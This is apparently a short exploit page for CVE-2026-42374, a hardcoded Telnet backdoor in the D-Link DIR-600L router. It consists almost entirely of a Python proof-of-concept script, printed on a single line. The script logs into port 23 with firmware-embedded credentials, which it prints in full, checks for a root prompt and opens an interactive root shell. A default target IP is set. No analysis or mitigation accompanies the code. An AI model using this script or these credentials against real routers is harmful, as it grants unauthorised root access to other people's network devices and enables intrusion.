CVE-2026-42374 D-Link DIR-600L 硬编码Telnet后门漏洞

import telnetlib import sys # PoC for CVE-2026-42374: Hardcoded Telnet Backdoor # Target: D-Link DIR-600L Hardware Revision B1 def exploit(ip): # Hardcoded credentials extracted from firmware user = "Alphanetworks" password = "wrgn61_dlwbr_dir600l" port = 23 print(f"[+] Attempting to connect to {ip}:{port}...") try: # Establish telnet connection tn = telnetlib.Telnet(ip, port, timeout=10) # Wait for login prompt tn.read_until(b"login: ") tn.write(user.encode('ascii') + b"\n") # Wait for password prompt tn.read_until(b"Password: ") tn.write(password.encode('ascii') + b"\n") # Check if we got a shell response = tn.read_until(b"#", timeout=5) if b"#" in response: print("[+] Success! Root shell obtained.") print("[+] You can now execute commands as root.") tn.interact() else: print("[-] Failed to obtain shell. Credentials might be wrong or service patched.") tn.close() except Exception as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": target_ip = "192.168.0.1" # Replace with actual target IP exploit(target_ip)